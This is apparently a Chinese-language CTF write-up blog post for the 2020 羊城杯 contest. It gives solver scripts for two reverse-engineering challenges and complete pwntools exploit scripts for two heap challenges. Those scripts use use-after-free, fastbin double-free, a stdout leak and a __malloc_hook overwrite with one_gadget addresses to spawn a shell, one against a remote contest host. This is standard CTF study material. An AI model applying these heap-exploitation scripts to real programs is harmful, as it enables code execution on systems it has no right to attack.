羊城杯2020部分wp

re

login

Python exe的逆向。其中在修复pyc时,个人不是很熟悉,记录一下:

在脱去以后,会有主程序,跟一个struct的文件。

要保证主程序与struct的前面的魔法字节是相同一样的。



重点关注前16个字节,保证相同即可。
修复好pyc后,就可以进行反编译。
剩下的就是逆算法,需要用到z3。

exp

#!/usr/bin/env python2.7
from z3 import *
'''
a1 = Int('a1')
a2 = Int('a2')
a3 = Int('a3')
a4 = Int('a4')
a5 = Int('a5')
a6 = Int('a6')
a7 = Int('a7')
a8 = Int('a8')
a9 = Int('a9')
a10 = Int('a10')
a11 = Int('a11')
a12 = Int('a12')
a13 = Int('a13')
a14 = Int('a14')
s.add(a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748)
s.add(a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 * 17 == 7258)
s.add(a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33 + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 + a14 * 23 == 26190)
s.add(a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59 + a5 * 49 + a6 * 81 + a7 * 25 + a8 * (2 ** 7) - a9 * 32 + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60 + a14 * 29 == 37136)
s.add(a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36 + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915)
s.add(a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26 + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 + a14 * 28 == 17298)
s.add(a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47 + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 + a14 * 65 == 19875)
s.add(a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30 + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784)
s.add(a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36 + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 + a14 * 27 == 9710)
s.add(a1 * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38 + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 + a14 * 31 == 13376)
s.add(a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6 + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 + a14 * 78 == 24065)
s.add(a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35 + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 + a14 * 20 == 27687)
s.add(a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92 + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250)
s.add(a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36 + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)

if s.check() == sat:
    result = s.model()
    print result
'''
'''
[a2 = 24,
 a13 = 88,
 a6 = 43,
 a9 = 52,
 a14 = 33,
 a5 = 104,
 a12 = 74,
 a7 = 28,
 a1 = 119,
 a10 = 108,
 a11 = 88,
 a8 = 91,
 a4 = 7,
 a3 = 10]
'''

key = [10,24,119,7,104,43,28,91,108,52,88,74,88,33]
flag = ' '
for i in range(13,0,-1):
    key[i-1] = key[i] ^ key[i - 1]
    flag += chr(key[i-1])

flag = flag[::-1]
flag += chr(33)
print(flag)

其中在z3中处理逻辑运算时,是很特殊的,这个需要注意,具体可以看z3的官方文档。
可以参考:
https://arabelatso.github.io/2018/06/14/Z3%20API%20in%20Python/

还有遇到逻辑左移右移:

1. “>>”
int x = 16; printf("%d\n", x >> 1);
先将x转成二进制 10000, 不读最后一位, 输出 1000, 即为8;
右移一位相当于数值除以2

2. “<<”
int x = 16; printf("%d\n", x << 1);
先将x转成二进制 10000, 往最后再读取一位(0, 或根据是否已经有移位), 输出 100000, 即为32;
左移,若移动位数K等于或大于数据长度N,通常只移动K mod N 位数
左移一位相当于数值乘以2

在这里是左移7,也就是乘 2 的7次方。

easyre

分析

3层加密.

  • 一个base64
  • 一个以13字节,分割字符,进行移位
  • 单字节凯撒加密,但是也加入了对数字的处理

exp

import base64
key = 'EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG'
key = [ord(c) for c in key]
buf = [0]*52
for i in range(len(key)):
    if key[i] > 64 and key[i] <=90:
        buf[i] = (key[i] - 65 - 3) % 26 + 65
        continue
    if key[i] > 96 and key[i] <=122:
        buf[i] =  (key[i] - 97 - 3) % 26 + 0x61
        continue
    if key[i] > 47 and key[i] <=57:
        buf[i] = (key[i] - 48 - 3) % 10 + 48
        continue
    buf[i] = key[i]
buf = [chr(c) for c in buf]
key2 = ''
for i in buf:
    key2 += i

key2 = key2[13:26] + key2[39:52] + key2[:13] + key2[26:39]
flag = base64.b64decode(key2)
print(flag)

pwn

sing in

入门堆题,存在uaf,进行fastbin attcak即可。

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('183.129.189.60',10029)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
def add(size,name,mes):
    sla('Your choice :','1')
    sla('size',str(size))
    sa('name',str(name))
    sla('mes',str(mes))
def show():
    sla('Your choice :','2')
def free(idx):
    sla('Your choice :','3')
    sla('index:',str(idx))
payload = 'a' * 0x60
mes = 'b' * 23
add(0x100,payload,mes)
add(0x60,payload,mes)
free(0)
add(0x60,' ',mes)
show()
ru("Game[2]'s name :")
libc_base = uu64(r(6)) - 0x3c4b20
info_addr('libc_base',libc_base)

free(2)
free(1)
free(2)

malloc_hook = libc_base + 0x3c4aed
add(0x60,p64(malloc_hook),p64(malloc_hook))
add(0x60,p64(malloc_hook),p64(malloc_hook))
add(0x60,p64(malloc_hook),p64(malloc_hook))
one = 0x4527a + libc_base
payload = '1' * 11 + p64(0) + p64(one)
add(0x60,payload,payload)
itr()

其中可以申请一个堆,进行getshell,也可以同时2次free同一个chunk,触发报错函数,而调用报错函数的时候又会用到malloc_hook,从而getshell。

babypwn

程序分析

  • 只有add和del功能
  • 存在uaf
  • 只能申请<0x70的堆块

前置技能

需要利用scanf函数来触发malloc_consolidate,使相邻fastbin堆块进行合并,并放入unsortedbin的 队列。

参考链接:

https://www.anquanke.com/post/id/176139

https://blog.csdn.net/plus_re/article/details/79265805

malloc_consolidate具体步骤如下:

  1. 判断fastbin是否初始化,如果未初始化,则进行初始化然后退出。
  2. 按照fastbin由小到大的顺序(0x20 ,0x30 ,0x40这个顺序)合并chunk,每种相同大小的fastbin中chunk的处理顺序是从fastbin->fd开始取,下一个处理的是p->fd,依次类推。
  3. 首先尝试合并pre_chunk
  4. 然后尝试合并next_chunk:如果next_chunktop_chunk,则直接合并到top_chunk,然后进行第六步;如果next_chunk不是top_chunk,尝试合并。
  5. 将处理完的chunk插入到unsorted bin头部。
  6. 获取下一个空闲的fastbin,回到第二步,直到清空所有fastbin中的chunk,然后退出。

攻击思路

  • 利用scanf函数来触发malloc_consolidate,使相邻fastbin堆块进行合并,并放入unsortedbin的 队列,在堆上留下libc的相关地址
  • 利用fastbin attack ,打__IO_2_1_stdout,泄漏libc
  • 利用fastbin attack ,打malloc_hook

难点在申请堆块的数量,题目限制了19个,是刚刚够用。

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',27411)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,name,mes):
    sla('Your choice :','1')
    sla('size',str(size))
    sa("game's name:",str(name))
    sla('mes',str(mes))


def free(idx):
    sla('Your choice :','2')
    sla('index:',str(idx))

def leak_addr():
    payload = 'a' * 0x28
    mes = '2' * 23
    add(0x28,payload,mes) #0
    add(0x28,payload,mes) #1
    add(0x28,payload,mes) #2
    free(0)
    free(1)
    free(2)
    add(0x68,payload,mes) #3
    add(0x68,payload,mes) #4
    add(0x68,payload,mes) #5
    add(0x68,payload,mes) #6
    free(3)
    free(4)
    free(5)
    # debug()
    sla('Your choice :','2')
    sl('1'*0x500)
    free(0)
    free(1)
    free(2)
    add(0x68,p16(0xb5dd),'1') #7
    add(0x68,p16(0xb5dd),'1') #8
    free(6)
    free(7)
    free(6)
    add(0x68,p8(0x90),'1') #9
    add(0x68,'1','1') #10
    add(0x68,'1','1') #11
    add(0x68,'1','1') #12
    payload = 'b' * 0x33 + p64(0xfbad3c80) + p64(0) * 3 + p8(0)
    sla('Your choice :','1')
    sla('size','104') #13
    sa('name',payload)

leak = 0
while True:
    try:
        leak_addr()
        ss = io.recvuntil(chr(0x7f),timeout = 0.5)
        if len(ss) == 0:
            raise Exception('')
        io.recv(10)
        leak = uu64(r(6))
        if leak == 0x7ff81b57b6a3:
            raise Exception('')
        break
    except Exception:
        io.close()
        io = process('./pwn')
        # io = remote('39.101.184.181',10000)
        continue

info_addr('leak',leak)
libc_addr = leak - 0x3c56a3
info_addr('libc_base',libc_addr)
ru('age')
sl('1')
free(10)
free(11)
free(10)

malloc_hook = 0x3c4aed + libc_addr
add(0x68,p64(malloc_hook),'1')
add(0x68,'1','1')
add(0x68,'1','1')
one_rec = 0xf0364 + libc_addr
payload = '1' * (0x13-8) + p64(0)+ p64(one_rec)
add(0x68,payload,'1')
free(6)
free(6)


itr()


re pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!